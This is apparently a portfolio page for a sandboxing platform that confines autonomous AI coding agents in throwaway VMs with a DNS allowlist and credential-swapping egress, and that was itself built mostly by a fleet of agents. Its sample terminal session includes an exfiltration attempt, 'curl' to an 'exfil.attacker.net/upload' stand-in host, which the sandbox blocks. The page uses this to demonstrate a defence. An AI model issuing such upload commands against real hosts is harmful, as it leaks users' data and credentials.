projects/dream-serpent
dream-serpent — sandboxed agent platform
A secure sandboxing platform for autonomous coding agents — per-session KVM VMs with default-deny networking and credential-swap egress — built in five and a half weeks almost entirely by the agents it is designed to contain.

- Commits in 5½ weeks
- ~4,600
- Lines of code written
- ~372k
- Design decisions logged
- 147
- Human on the team
- 1
Dream Serpent is a from-scratch secure developer platform for autonomous coding agents — informally, "Heroku for Claude Code." The problem comes straight from my own practice: once you run many agents against real credentials and real infrastructure, a single misbehaving agent can do real damage, and no off-the-shelf substrate bounds the blast radius.
Defense the agent can't route around
Every agent session gets its own throwaway KVM virtual machine, and everything that matters for safety sits outside it, where no amount of agent misbehavior can reach. A default-deny firewall means the VM can reach nothing unless a rule says otherwise. A DNS gate means hostnames only resolve if the session's allowlist includes them. And an egress gateway means real API keys never enter the VM at all: the agent holds a short-lived session token, and the gateway swaps it for the real credential at the boundary, on the way out.
From inside the sandbox, all of that looks like this:
env | grep ANTHROPIC
ANTHROPIC_API_KEY=ds-session-9f41c2… · a short-lived session token — the real key never enters the VM
dig api.anthropic.com
;; status: NOERROR · on the session allowlist, so the name resolves
curl https://api.anthropic.com/v1/models
HTTP/2 200 · the gateway swapped the session token for the real credential at the boundary
dig exfil.attacker.net
;; status: REFUSED · not on the allowlist — the policy rule is named in the response
curl https://exfil.attacker.net/upload
curl: (6) Could not resolve host · and nothing worth stealing even if it could
Built by the thing it contains
The method is the headline. Roughly 4,600 commits and ~372k lines of Go, Rust, and TypeScript landed in five and a half weeks, written almost entirely by a self-directed fleet of Claude Code sessions — with me as the only human — coordinating through infrastructure the project built for itself:
- A landing queue. Dozens of agents can't all merge at once, so an elected leader lands one fully-tested branch onto
mainat a time. By early August the queue had processed over 6,600 landings. - A custom git merge driver that reconciles concurrent edits to shared task state by ID instead of by text — proven on its worst day by a 443-commit reconcile.
- A numbered decision log. 147 design decisions, ratified and then cited by number in code and commit messages, so agents that never share a context window still share the reasoning.
- Fleet self-audits. Agents periodically re-check other agents' finished work against
main. One sweep surfaced three live security gaps; all three were closed the same day.
The hardest problem wasn't the code — it was governance at swarm scale: keeping dozens of concurrent contributors from corrupting main or scaffolding things nobody asked for. What worked was boring on purpose: frozen protobuf contracts between components, an explicit list of things deliberately not built, and dispatch plans that hand each wave of agents disjoint sets of files.
Where it stands
The core safety spine — firewall, DNS gate, credential swap, and identity — has been demonstrated live end-to-end in a nested-VM testbed. The project is active and now dogfooding: my own agent workspaces are its first daily-driver workloads. The repo is its own best demonstration of the thing it builds.